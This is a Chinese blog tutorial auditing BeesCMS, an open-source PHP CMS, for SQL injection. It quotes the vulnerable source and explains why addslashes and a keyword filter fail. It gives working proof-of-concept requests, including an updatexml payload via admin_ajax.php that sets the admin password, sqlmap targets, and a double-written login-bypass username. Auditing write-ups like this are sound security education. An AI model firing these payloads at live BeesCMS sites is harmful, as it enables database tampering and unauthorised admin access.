Beescms代码审计(上)
前言
大概几个月前想把自己电脑恢复一下出厂设置,然后在电脑上看看有什么需要备份的,忽然看到这个最初学习代码审计的时候下载的cms,想了想当初好像也就随便看了下,所以这次想完整的把该cms审计一遍,然而想法虽好,在我通读了一些该cms的代码后,发现还是工作量太大,所以我改为通过工具自动审计,然后人工判断,然后在看来大概60条语句后,发现审计欲望已经消失了,然后就一直搁置住了,最近看到当初记录的漏洞点,所以总结一下,看看能不能给新手入门代码审计带来一点帮助。
CMS下载地址
https://github.com/itfooter/beescms
安装
利用phpstudy的集成环境,把cms放在www目录下,访问install目录根据提示进行安装即可
审计过程
首先,审计一个cms需要对代码做一个简单的通读,简单通读后我们就可以了解到该cms是否采用一些全局的防护措施,这样后续代码审计我们就采用相对应的绕过思路。首先来看看index.php这个文件。
<?php
/**
* $Author: BEESCMS $
* ============================================================================
* 网站地址: http://www.beescms.com
* 您只能在不用于商业目的的前提下对程序代码进行修改和使用;
* 不允许对程序代码以任何形式任何目的的再发布。
* ============================================================================
*/
//if(!file_exists("data/install.lock")||!file_exists("data/confing.php")){header("location:install/index.php");exit();}
define('CMS',true);
require_once('includes/init.php');
require_once('includes/fun.php');
require_once('includes/lib.php');
if(file_exists(DATA_PATH.'index_info.php')){include(DATA_PATH.'index_info.php');}//首页配置缓存
$lang=isset($_GET['lang'])?$_GET['lang']:'';
$index_lang='';//默认首页语言
if(!empty($lang_cache)){
foreach($lang_cache as $k=>$v){
if($_index['index_lang']==$v['id']){
$index_lang = $v['lang_tag'];
}
}
}
//语言是否使用
if(!empty($lang)){
$is_lang_use=0;
if(!empty($lang_cache)){
foreach($lang_cache as $k=>$v){
if(($lang==$v['lang_tag'])&&!empty($v['lang_is_use'])){
$is_lang_use=1;//已经使用
}
}
}
if(empty($is_lang_use)){
$lang = $index_lang;
}
}
if(($lang == $index_lang)&&empty($_index['flash_is'])){
header("HTTP/1.1 301 Moved Permanently");
header("Location: index.php");
}
//开启flash
if(!empty($_index['flash_is'])&&empty($lang)){
$lang = $index_lang;
$fl_file=(IS_MB)?CMS_PATH.'template/flash_phone.html':CMS_PATH.'template/flash.html';
if(!$fl_file){die($language['msg_info']);}
if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language
if(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目
//默认首页语言网站配置
$_confing=get_confing($lang);
$tpl->template_dir=TP_PATH.'/';
$tpl->template_lang=$lang;
if($_confing['is_cache']){
$tpl->template_is_cache=1;//缓存
$tpl->template_time=$_confing['cache_time']?$_confing['cache_time']:30;//开启缓存但不存在缓存时间使用30秒
}else{
$tpl->template_is_cache=0;
}
$tpl->display('flash');
//关闭flash引导页
}else{
//载入语言页
$lang = empty($lang)?$index_lang:$lang;
if(!empty($lang_cache)){
foreach($lang_cache as $l_k=>$l_v){
if($l_v['lang_tag']==$lang){
$lang_name=$l_v['lang_name'];
break;
}
}
}
if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language
if(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目
//网站配置文件
$_confing=get_confing($lang);
$index_focus="focus";
//获取第一个关键词作为相关内容调用
$key_arr = empty($_confing['web_keywords'])?'':explode(',',$_confing['web_keywords']);
$relave_key = $key_arr[0];
//指向首页
$tpl->template_dir=(IS_MB)?TP_PATH.$_confing['phone_template'].'/':TP_PATH.$_confing['web_template'].'/';
$tpl->template_lang=$lang;
if($_confing['is_cache']){
$tpl->template_is_cache=1;//缓存
$tpl->template_time=$_confing['cache_time']?$_confing['cache_time']:30;//开启缓存但不存在缓存时间使用30秒
}else{
$tpl->template_is_cache=0;
}
$tpl->display('index');
}
?>
可以看到这里包含了三个文件
而这三个文件中的fun.php是一些自己定义的函数,其中就就包含一些防注入的函数,而这个函数很有可能就是全局防护中所使用到的函数。
知道该cms采用了什么的全局防护,接下来我们就可以利用Seay审计工具做一个全局的自动审计了。
不过建议时间充裕的情况下还是自己做一个全局的代码通读,这样对自己代码审计能力的提升也相对较大。本文只是对前60条语句做了个简单的判断,有兴趣的师傅可以自己再去做一个深入的审计。
两类不同错误导致SQL注入
第一类错误---未使用单引号包裹导致sql注入
第一处后台admin目录下的admin_ajax.php文件
<?php
/**
* $Author: BEESCMS $
* ============================================================================
* 网站地址: http://www.beescms.com
* 您只能在不用于商业目的的前提下对程序代码进行修改和使用;
* 不允许对程序代码以任何形式任何目的的再发布。
* ============================================================================
*/
define('IN_CMS','true');
include('init.php');
$action=empty($_REQUEST['action'])?'action':$_REQUEST['action'];
$lang = $_REQUEST['lang'];
$value=$_REQUEST['value'];
if($action=='lang_tag'){
if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){
echo "<span class='err'>只能使用小写字母或数字</span>";
exit;
}
$sql="select id from ".DB_PRE."lang where lang_tag='".$value."'";
$num=$GLOBALS['mysql']->fetch_rows($sql);
$str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>";
die($str);
}
//排序
elseif($action=='order'){
$table=$_REQUEST['table'];
$field = $_REQUEST['field'];
$id = intval($_REQUEST['id']);
$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
echo $sql;
$GLOBALS['mysql']->query($sql);
//更新缓存
if($table=="lang"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache/lang_cache.php';
$str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>";
}elseif($table=="channel"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
$str="<?php\n\$channel=".var_export($rel,true).";\n?>";
}
creat_inc($cache_file,$str);
}
//判断频道标示
elseif($action=='check_channel'){
if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){
echo "<span class='err'>只能使用小写字母或数字</span>";
exit;
}
$sql="select id from ".DB_PRE."channel where channel_mark='{$value}'";
$num=$GLOBALS['mysql']->fetch_rows($sql);
$str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>";
die($str);
}
elseif($action=='check_table'){
if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){
die("<span class='err'>只能使用小写字母或数字</span>");
exit;
}
$sql="show tables";
$tables=$GLOBALS['mysql']->show_tables();
$table=DB_PRE.$value;
if(in_array($table,$tables)){
$num=1;
}
$str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>";
die($str);
}
//开启关闭
elseif($action=='is_show'){
if(!check_purview('pannel_edit')||!check_purview('form_edit')){return false;}
$id = intval($_REQUEST['id']);
$table = $_REQUEST['table'];
$field = $_REQUEST['field'];
$order = $_REQUEST['order'];
$value=empty($value)?1:0;
$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
$GLOBALS['mysql']->query($sql);
//更新缓存
if($table=="channel"){
$sql="select*from ".DB_PRE."{$table} order by {$order} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
$str="<?php\n\$channel=".var_export($rel,true).";\n?>";
creat_inc($cache_file,$str);
}elseif($table=='form'){
$form_file=DATA_PATH.'cache_form/form.php';
$rel=$GLOBALS['mysql']->fetch_asc("select*from ".DB_PRE."form order by id desc");
$cache_str="<?php\n\$form=".var_export($rel,true).";\n?>";
cache_write($form_file,$cache_str);
}
if(empty($value)){
$class="qi_yes";
$title="开启";
}else{
$class="qi_no";
$title="关闭";
}
$data="<span onclick=\"click_show(this,'{$value}','{$id}','channel','is_disable','{$lang}','channel_order');\" class=\"{$class}\" title=\"{$title}\"> </span>";
die($data);
}
//删除图片
elseif($action=='del_pic'){
$file=CMS_PATH.'upload/'.$value;
@unlink($file);
die("图片成功删除");
}
//修改图片alt
elseif($action=='change_pic_alt'){
$id= intval($_REQUEST['id']);
$val = $_REQUEST['val'];
if(empty($id)){die(0);}
$val_sql=empty($val)?"pic_alt=''":"pic_alt='".$val."'";
$sql="update ".DB_PRE."uppics set ".$val_sql." where id=".$id;
$mysql->query($sql);
die($id);
}
//其它操作
else{
die('没有参数');
}
echo PW;
?>
首先看到11-15行代码
这里包含了一个init.php文件,然后下面是用$_REQUEST的方法接收的参数,那我们跟进init.php文件,看看init.php文件是怎么写的。
其中大多是一些初始化和一些常量,箭头所指可以看到又包含了INC_PATH常量下的fun.php文件,而下面调用了addsl这个函数,这里的INC_PATH常量是includes这个目录,我们可以更具之前简单的代码通读了解到或者直接echo一下,那我们再去看看fun.php这个函数。
在includes目录下找到fun.php可以看到正是我们之前简单通读index.php所了解到的防注入函数。了解到代码使用了什么防护手段,我们再来看看漏洞产生的地方。
在admin_ajax.php文件的第27-46行
可以知道我们自定义的fun.php里面的adds1是调用addslashes这个函数。addslashes函数会对我们用户输入的单引号转义,但是此处利用$_REQUEST接收过来的field参数在写入$sql变量的时候并为被单引号包裹,这里是一个update语句,所以我们可以构造如下poc绕过。
http://192.168.178.1/beescms/admin/admin_ajax.php?action=order&table=admin&field=admin_password=123456%20or%20updatexml(1,concat(0x23,database()),1)%20where%20id=193--+
同类未被单引号包裹问题还存在如下多出地方
admin目录下的admin_book.php文件的88-104行
sqlmap构造如下poc
http://192.168.178.1/beescms/admin/admin_book.php?action=del&lang=cn&id=1*&nav=main&admin_p_nav=main_info
sqlmap结果
插一嘴,像这几个注入点都是update、delete这种对义务比较铭感的语句,大家在正常业务的洞的时候,上sqlmap是会给业务数据带来巨大伤害的,这里是本地搭建的环境,所以sqlmap随便乱跑。
admin目录下的admin_catagory.php文件的150-165行
跟踪一下$parent参数
在admin_catagory.php文件的第16行
还是无其他特殊处理
构造poc如下
http://192.168.178.1/beescms/admin/admin_catagory.php/beescms/admin/admin_catagory.php?action=child&parent=4'&channel_id=2&lang=cn&nav=main&admin_p_nav=main_info
因为好早之前审计的,没有保存截图,所以这里就只简单证明下漏洞存在,不再一一上sqlmap了。
admin目录下的admin_channel.php文件的210-238行
跟踪$cate_id参数在第143行代码处
构造poc如下
http://192.168.178.1/beescms/admin/admin_channel.php?action=del_channel&step=3&id=-9&cate_id=1%27&nav=main&admin_p_nav=main_info%20%20%20%20%20%20#sql%E6%B3%A8%E5%85%A5
上述的sql注入问题都是未被单引号包裹导致的addslashes函数被绕过,接下来就是另外一类问题导致的sql注入。
第二类错误---错误使用防注入函数导致sql注入问题
该注入点在admin目录下的login.php文件
如下是login.php文件代码
/**
* $Author: BEESCMS $
* ============================================================================
* 网站地址: http://www.beescms.com
* 您只能在不用于商业目的的前提下对程序代码进行修改和使用;
* 不允许对程序代码以任何形式任何目的的再发布。
* ============================================================================
*/
@ini_set('session.use_trans_sid', 0);
@ini_set('session.auto_start', 0);
@ini_set('session.use_cookies', 1);
error_reporting(E_ALL & ~E_NOTICE);
$dir_name=str_replace('\\','/',dirname(__FILE__));
$admindir=substr($dir_name,strrpos($dir_name,'/')+1);
define('CMS_PATH',str_replace($admindir,'',$dir_name));
define('INC_PATH',CMS_PATH.'includes/');
define('DATA_PATH',CMS_PATH.'data/');
include(INC_PATH.'fun.php');
include(DATA_PATH.'confing.php');
include(INC_PATH.'mysql.class.php');
if(file_exists(DATA_PATH.'sys_info.php')){
include(DATA_PATH.'sys_info.php');
}
@header("Content-type: text/html; charset=utf-8");
$mysql=new mysql(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME,DB_CHARSET,DB_PCONNECT);
session_start();
$s_code=empty($_SESSION['code'])?'':$_SESSION['code'];
$_SESSION['login_in']=empty($_SESSION['login_in'])?'':$_SESSION['login_in'];
$_SESSION['admin']=empty($_SESSION['admin'])?'':$_SESSION['admin'];
if($_SESSION['login_in']&&$_SESSION['admin']){header("location:admin.php");}
$action=empty($_GET['action'])?'login':$_GET['action'];
if($action=='login'){
global $_sys;
include('template/admin_login.php');
}
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
elseif($action=='out'){
login_out();
}
可以发现login.php文件中未包含init.php文件,所以未引用adsl函数来防注入,但是在登录处的地方做了如下处理。
43-44行
调用了fl_value函数,然后再调用了fl_html函数,跟一下这两个函数,来到fun.php文件,如下。
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
可以看到fl_value函数过滤了一些sql注入的关键字,fl_html调用了htmlspecialchars函数。然后我们再看看在哪里判断登录了。
第59行
跟一下check_login这个函数,在fun.php中
这里可以看到存在一个判断用户是否存在,可以看到这里的$user参数虽然被单引号包裹住了,但是我们回想一下之前的防注入的函数,利用preg_replace过滤了一些关键字如下
/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
而preg_replace这个函数也是非常危险的,我们可以利用一些双写的操作进行绕过,然后是htmlspecialchars函数,但是htmlspecialchars函数的作用我们可以看看
它并不会对单引号做出过滤,所以我们还是可以自行输入单引号来闭合语句
所以我们在用户名处构造如下poc
admin' a and nd updatexml(1,concat(0x7e,database(),0x7e),1)#
__EOF__
本文链接: https://www.cnblogs.com/sfsec/p/16462198.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!